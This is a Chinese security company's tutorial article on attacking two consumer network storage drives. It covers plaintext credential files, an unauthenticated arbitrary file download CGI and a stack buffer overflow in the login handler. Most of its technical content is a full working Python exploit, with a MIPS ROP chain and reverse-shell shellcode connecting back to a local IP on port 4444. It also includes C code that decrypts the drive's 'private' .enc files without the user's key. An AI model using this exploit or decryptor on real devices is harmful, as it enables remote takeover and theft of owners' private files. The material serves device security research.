广州数智网络科技有限公司(简称数智科技),是一家新型互联网企业,总部设在广州市南沙香江国际科创中心10楼,现有员工120余人,研发人员近100人。数智科技致力于网络安全与大数据智能应用相结合的领域深耕与发展,是广东省网络安全应急响应中心重要支撑单位和广东省网络威胁数据联盟的核心发起机构。数智科技将自身在网络安全及大数据应用方面的能力与国家网络安全战略相结合,以智慧+安全的技术和数据应用,助力网络强国!

叮咚,开课啦!!!
来自数智安全研究院的硬核科普
👇👇👇
加密设备攻防(二)
前言
随着电子信息产业的高速发展,电子产品对于各类数据处理的技术愈加强大,在为人们的工作及社交带来了许多便捷与乐趣的同时,人们在日常生活中对各类电子设备过于依赖的问题也显而易见,所以,一旦保管不当,我们存储其中的各类数据也将面临着不同程度的安全隐患。而今,人们对于数据安全性的意识越来越高,各种加密型的电子设备在我们生活中也变得越来越常见。
某家储存网络硬盘的漏洞
这是一款带网口的家庭存储硬盘,可以通过手机 app 进行远程管理。

设备与客户端通信
这款硬盘使用 TUTK IOTC 平台进行 p2p 通信。接上网线后,只需要在客户端输入设备的 UID 和管理员设置的密码,就可以远程连接管理硬盘数据。TUTK IOTC平台的 p2p 建立连接后,设备向客户端发送数据的流程图如下,首先初始化 iotc 平台,随后创建 login 线程,监听客户端的连接,会话建立后,向客户端发送数据。

而作为设备与客户端通信的进程为 p2pIotc,拖到 ida 中分析,sub_402E64 函数通过读取 /etc/config/tunnelid.dat 文件来得到设备的 UID,在函数 sub_402AF8 读取 /etc/web_pwd.txt 文件得到管理密码,用来用户登入验证。


隐私空间漏洞
这款硬盘还设立了隐私空间,也就是加密文件夹,加密文件后将文件移动到加密目录下。当通过app客户端成功登录硬盘时,首先 fs_httpd 进程会读取配置文件“/etc/private_dir_pwd“中的保存隐私空间的密码,用于之后打开隐私空间作密码校验。但是通过在web客户端或网络文件夹登录时访问这个隐私空间时,却形同虚设,与普通文件夹无区别。

getFile.cgi 任意文件下载
在 /www/cgi-bin/get/ 目录下,其中有个 getFile.cgi 的 cgi 网关接口文件,在没有登入验证的情况下,内网中可直接下载硬盘的任意文件,代码如下


某智能加密硬盘的漏洞
这是一款可连接 wifi 且带网口的移动加密硬盘,手机可以通过 app 进行远程管理,还可以通过 app 单独设置密码加密隐私文件。

攻击思路

1. 分析硬盘工作原理
下载智能硬盘手机 app,登录 app 远程连接硬盘,通过路由器进行抓包,发现其由 80 端口与手机 app 通信。

通过串口调试进入 shell,运行 netstat 命令查看系统端口进程,其中 80 端口进程为 lighttpd。分析后找到其位于/etc/lighttpd/ 目录下的配置文件 lighttpd.conf,如图 3 可以看到其中 include 包含了当前 conf.d/ 目录下的 proxy.conf 文件。


2. 漏洞挖掘
将 baidupcs(百度网盘)作为测试目标,使用fuzz测试登录网盘发现了 crash。




先修改寄存器的值

找到 sleep 函数的参数

调用 sleep 函数

运行 shellcode

mipsrop.find("move $t9,$s0") 跳转到 s0 去执行

创建exploit
#!/usr/bin/env pythonimport sysimport stringimport socketimport structimport urllib, urllib2, httplib
class MIPSPayload:BADBYTES = [0x00]LITTLE = "little"BIG = "big"FILLER = "A"BYTES = 4NOP = "\x27\xE0\xFF\xFF"
def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):self.libase = libaseself.shellcode = ""self.endianess = endianessself.badbytes = badbytes
def Add(self, data):self.shellcode += data
def Address(self, offset, base=None):if base is None:base = self.libase
return self.ToString(base + offset)
def AddAddress(self, offset, base=None):self.Add(self.Address(offset, base))
def AddBuffer(self, size, byte=FILLER):self.Add(byte * size)
def AddNops(self, size):if self.endianess == self.LITTLE:self.Add(self.NOP[::-1] * size)else:self.Add(self.NOP * size)
def ToString(self, value, size=BYTES):data = ""
for i in range(0, size):data += chr((value >> (8*i)) & 0xFF)
if self.endianess != self.LITTLE:data = data[::-1]
return data
def Build(self):count = 0
for c in self.shellcode:for byte in self.badbytes:if c == chr(byte):raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))count += 1
return self.shellcode
def Print(self, bpl=BYTES):i = 0
for c in self.shellcode:if i == 4:print ""i = 0
sys.stdout.write("\\x%.2X" % ord(c))sys.stdout.flush()
if bpl > 0:i += 1print "\n"
class HTTP:
HTTP = "http"HTTPS = "https"
def __init__(self, host, proto=HTTP, verbose=False):self.host = hostself.proto = protoself.verbose = verbose
def Encode(self, string):return urllib.quote_plus(string)
def Send(self, uri, headers={}, data=None, response=False):html = ""
if uri.startswith('/'):c = ''else:c = '/'
url = '%s://%s%s%s' % (self.proto, self.host, c, uri)if self.verbose:print url
if data is not None:data = urllib.urlencode(data)
url = url + datareq = urllib2.Request(url, data, headers)# print urlrsp = urllib2.urlopen(req)
if response:html = rsp.read()
return html
def makepayload(host,port):print '[*] prepare shellcode',hosts = struct.unpack('<cccc',struct.pack('<L',host))ports = struct.unpack('<cccc',struct.pack('<L',port))
#print hosts,ports
# sys_socket# a0: domain# a1: type# a2: protocolmipselshell ="\xfa\xff\x0f\x24" # li t7,-6mipselshell+="\x27\x78\xe0\x01" # nor t7,t7,zeromipselshell+="\xfd\xff\xe4\x21" # addi a0,t7,-3mipselshell+="\xfd\xff\xe5\x21" # addi a1,t7,-3mipselshell+="\xff\xff\x06\x28" # slti a2,zero,-1mipselshell+="\x57\x10\x02\x24" # li v0,4183 # sys_socketmipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
# sys_connect# a0: sockfd (stored on the stack)# a1: addr (data stored on the stack)# a2: addrlenmipselshell+="\xff\xff\xa2\xaf" # sw v0,-1(sp)mipselshell+="\xff\xff\xa4\x8f" # lw a0,-1(sp)mipselshell+="\xfd\xff\x0f\x34" # li t7,0xfffdmipselshell+="\x27\x78\xe0\x01" # nor t7,t7,zeromipselshell+="\xe2\xff\xaf\xaf" # sw t7,-30(sp)mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\x0e\x3c" # lui t6,0x1f90mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\xce\x35" # ori t6,t6,0x1f90mipselshell+="\xe4\xff\xae\xaf" # sw t6,-28(sp)mipselshell+=struct.pack('<2c',hosts[1],hosts[0]) + "\x0e\x3c" # lui t6,0x7f01mipselshell+=struct.pack('<2c',hosts[3],hosts[2]) + "\xce\x35" # ori t6,t6,0x101mipselshell+="\xe6\xff\xae\xaf" # sw t6,-26(sp)mipselshell+="\xe2\xff\xa5\x27" # addiu a1,sp,-30mipselshell+="\xef\xff\x0c\x24" # li t4,-17mipselshell+="\x27\x30\x80\x01" # nor a2,t4,zeromipselshell+="\x4a\x10\x02\x24" # li v0,4170 # sys_connectmipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
# sys_dup2# a0: oldfd (socket)# a1: newfd (0, 1, 2)mipselshell+="\xfd\xff\x11\x24" # li s1,-3mipselshell+="\x27\x88\x20\x02" # nor s1,s1,zeromipselshell+="\xff\xff\xa4\x8f" # lw a0,-1(sp)mipselshell+="\x21\x28\x20\x02" # move a1,s1 # dup2_loopmipselshell+="\xdf\x0f\x02\x24" # li v0,4063 # sys_dup2mipselshell+="\x0c\x01\x01\x01" # syscall 0x40404mipselshell+="\xff\xff\x10\x24" # li s0,-1mipselshell+="\xff\xff\x31\x22" # addi s1,s1,-1mipselshell+="\xfa\xff\x30\x16" # bne s1,s0,68 <dup2_loop>
# sys_execve# a0: filename (stored on the stack) "//bin/sh"# a1: argv "//bin/sh"# a2: envp (null)mipselshell+="\xff\xff\x06\x28" # slti a2,zero,-1mipselshell+="\x62\x69\x0f\x3c" # lui t7,0x2f2f "bi"mipselshell+="\x2f\x2f\xef\x35" # ori t7,t7,0x6269 "//"mipselshell+="\xec\xff\xaf\xaf" # sw t7,-20(sp)mipselshell+="\x73\x68\x0e\x3c" # lui t6,0x6e2f "sh"mipselshell+="\x6e\x2f\xce\x35" # ori t6,t6,0x7368 "n/"mipselshell+="\xf0\xff\xae\xaf" # sw t6,-16(sp)mipselshell+="\xf4\xff\xa0\xaf" # sw zero,-12(sp)mipselshell+="\xec\xff\xa4\x27" # addiu a0,sp,-20mipselshell+="\xf8\xff\xa4\xaf" # sw a0,-8(sp)mipselshell+="\xfc\xff\xa0\xaf" # sw zero,-4(sp)mipselshell+="\xf8\xff\xa5\x27" # addiu a1,sp,-8mipselshell+="\xab\x0f\x02\x24" # li v0,4011 # sys_execvemipselshell+="\x0c\x01\x01\x01" # syscall 0x40404print 'ending ...'return mipselshell
if __name__ == '__main__':
libc_base = 0x77c1f000sip='192.168.8.170' #reverse_tcp local_ipsport = 4444 #reverse_tcp local_port
host = socket.ntohl(struct.unpack('<I',socket.inet_aton(sip))[0])shellcode = makepayload(host,sport)
try:ip = sys.argv[1]except:print "Usage: %s <target ip>" % sys.argv[0]sys.exit(1)
payload = MIPSPayload(endianess="little", badbytes=[])payload.AddBuffer(1036) # fill offset = 1036payload.AddAddress(0x49818, base=libc_base) # gadget 1: mipsrop.find("lw $ra, ") Modify registerpayload.AddAddress(0x0047E758) # arg1payload.AddAddress(0x0047F758) # arg2payload.AddAddress(0x00480758) # arg3payload.AddBuffer(0xC) # fillpayload.AddBuffer(0x4) # s0payload.AddAddress(0x4E320, base=libc_base) # s1 sleep addr 0x4E320payload.AddBuffer(0x4) # s2payload.AddBuffer(0x4) # s3payload.AddAddress(0x1E8AC, base=libc_base) # s4 gadget 3: mipsrop.tail()payload.AddBuffer(0x4) # s5payload.AddBuffer(0x4) # s6payload.AddBuffer(0x4) # s7payload.AddBuffer(0x4) # fppayload.AddAddress(0x4F970, base=libc_base) # gadget 2: mipsrop.find("li $a0,1")# payload.AddBuffer(0x40) # addiu $sp, 0x40payload.AddBuffer(0x1C) # 0x28 - 0xc = 0x1cpayload.AddAddress(0x4AC20, base=libc_base) # s1 gadget 5: mipsrop.find("move $t9,$s0")payload.AddBuffer(0x4) # s2payload.AddAddress(0x16BC8, base=libc_base) # ra gadget 4: mipsrop.stackfinder()payload.AddBuffer(0x4) # s0# payload.AddBuffer(0x28)payload.AddBuffer(0xC) # 0xD8 - 0xC8 => 0x10 - 0x4 = 0xCpayload.Add(shellcode)
pdata = {'opt' : 'Login','state' : 'login','username' : payload.Build()}
try:HTTP(ip).Send('baidupcs.csp', data=pdata)except httplib.BadStatusLine:print "Payload delivered."except Exception, e:print "Payload delivery failed: %s" % str(e)
漏洞存在的原因在于,调用 getvaluefrom_url 函数时,缺少对 username 等值进行长度检查校验,而直接写入缓冲区中,导致了栈溢出。通过漏洞攻击者可直接获取到远程管理的密码,进行登入操作。

4.文件加密分析
使用手机 app 进行文件加解密,然后通过路由器抓取数据包,其加解密 url path为 protocol.csp,根据前面整理的表格,其使用的端口是 81 端口。接下来分析此时监听 81 端口的所属进程 ioos。



.enc 后缀,查看 /tmp/ioos.log 日志信息。

202cb962ac59075b964b07152d234b70 是 test.txt 加密key 123 的 md5 值(0x20字节),而前面“fe2889d36e2045f4a3d362445aaaf72e”(0x20字节)接下代码中会遇到。

gdb + ida 动态调试





strncmp 比较密文尾部前0x20字节是否为 "fe2889d36e2045f4a3d362445aaaf72e",查看前面的.enc 文件可知,这正是 md5 值前面的 0x20 字节。紧接着比较 md5 值。


调用 ftruncate64 打开的解密文件截断到指定的长度(0x3)。





#include <stdio.h>#include <stdlib.h>#include <cstdint>#include <string.h>#include <direct.h>#include <sys/stat.h>#define FLAG "fe2889d36e2045f4a3d362445aaaf72e"// 若文件内容小于 0x2000 字节则每个字节进行加密,且 key 为 md5(key, 32) 的前 0x10 位// 若文件内容大于 0x2000 字节则只对文件的前后各 0x1000 字节进行加密,且 key 为 md5(key, 32) 的全部 0x20 位int enc_fun(char* pContent, char* pKey, uint32_t uFileLen){// 生成 0 - 0x100 数组uint8_t arr[0x100];for (uint32_t i = 0; i < 0x100; ++i)arr[i] = i;// 利用 md5值 前 16 位生成 hash 表uint32_t a0 = 0, t0 = 0, t2 = 0, len = 0, a1 = 0, a2 = 0, LO = 0, HI = 0;uint32_t v1 = (uint32_t)arr, a3 = (uint32_t)arr;uint32_t t1 = (uint32_t)arr + 0x100;while (a3 != t1) {a1 = pKey[a0];a0++;len = strlen(pKey);LO = a0 / len;HI = a0 % len;a2 = *((uint8_t*)a3); // a3 为 arr 的首地址a3++;a1 += a2;a1 += t0;a1 &= 0xff;t0 = a1 & 0xff;a1 = v1 + a1;t2 = *((uint8_t*)a1);*((uint8_t*)a3 - 1) = t2;*((uint8_t*)a1) = a2;a1 = HI;a0 = a1 & 0xff;}// 对内容进行加密或解密bool isSuccessful = false;uint64_t v0 = 0, s1 = uFileLen;uint32_t s2 = (uint32_t)pContent;a2 = 0, a1 = 0;while (1){// s1 = strlen(content);if (v0 < s1)a0 = 1;elsea0 = 0;if (a0) {a0 = a1 + 1;a0 &= 0xff;a1 = a0 & 0xff;a0 = v1 + a0;a3 = *((uint8_t*)a0); // *((uint8_t*)a0)a2 += a3;a2 &= 0xff;t0 = v1 + a2;t1 = *((uint8_t*)t0);*((uint8_t*)a0) = t1;*((uint8_t*)t0) = a3;a0 = *((uint8_t*)a0);t0 = s2 + v0; // s2 为 content 的首地址,以 v0 迭代a3 += a0;a3 &= 0xff;a0 = *((uint8_t*)t0);a3 = *((uint8_t*)v1 + a3); // *((uint8_t*)v1 + a3)v0++;a3 = a0 ^ a3;// seh $v0 # 符号扩展半字*((uint8_t*)t0) = a3;}else {return true;}}return false;}int enc_file(char* pfilename){// 打开文件FILE* pFile = NULL;// char filename[260];// printf("filepath:");// scanf_s("%s", filename, 260);if (fopen_s(&pFile, pfilename, "rb") != 0) {printf("打开文件失败\n");}fseek(pFile, 0, SEEK_END);uint64_t Length = ftell(pFile);// 获取文件字节数struct _stat64 info;_stat64(pfilename, &info);uint64_t fileSize = info.st_size;printf("该文件一共 %lld 字节\n", fileSize);// 求出原文件字节数uint64_t fileLen = fileSize - 0x40;// 读取 FLAGchar flag[0x21] = { 0 };fseek(pFile, fileLen, SEEK_SET);fread_s(flag, 0x21, 0x20, 1, pFile);if (strncpy_s(flag, FLAG, 0x20)){printf("格式错误\n");return -1;}// printf("flag: %s\n", flag);// 获取 keychar md5[0x21] = { 0 };uint32_t encSize = 0;bool enctail = false;if (fileLen > 0x2000) {// 文件内容大于 0x2000 字节 读取 0x20 位key, 解密前 0x1000 字节fread_s(md5, 0x21, 0x20, 1, pFile);encSize = 0x1000;enctail = true;}else {// 文件内容小于 0x2000 字节 读取 0x10 位key, 解密所有字节fread_s(md5, 0x21, 0x10, 1, pFile);encSize = fileLen;}printf("md5: %s\n", md5);// 读取密文// char content[] = "\xfa\xe3\x80";char* content = NULL;content = (char*)calloc(fileLen + 1, sizeof(char));if (content == NULL)//申请后判定是否申请成功{return 0;}fseek(pFile, 0, SEEK_SET); //首先移动到文件开头再读取fread_s(content, fileLen + 1, fileLen, 1, pFile);fclose(pFile);// 调用解密函数,或解密首部 0x1000 字节if (!enc_fun(content, md5, encSize)){printf("解密失败\n");return -1;}// 是否需要解密尾部 0x1000 字节if (enctail){// 解密尾部 0x1000 字节char* tailcont = content + fileLen - 0x1000;if (!enc_fun(tailcont, md5, encSize)) {printf("解密失败\n");return -1;}}//printf("写入新文件\n");int nlen = strlen(pfilename);pfilename[nlen - 4] = NULL;FILE* pfile = NULL;if (fopen_s(&pfile, pfilename, "wb") != 0){printf("创建文件失败\n");return -1;}fwrite(content, fileLen, 1, pfile);fclose(pfile);free(content);printf("解密文件写入成功!!!\n\n");return 0;}
视频演示
关联阅读
来源:数智安全研究院
星标/置顶 南沙科技金融促进会
为科技企业赋能 助力科技成果转化

联系人:赵子璇 18229895024


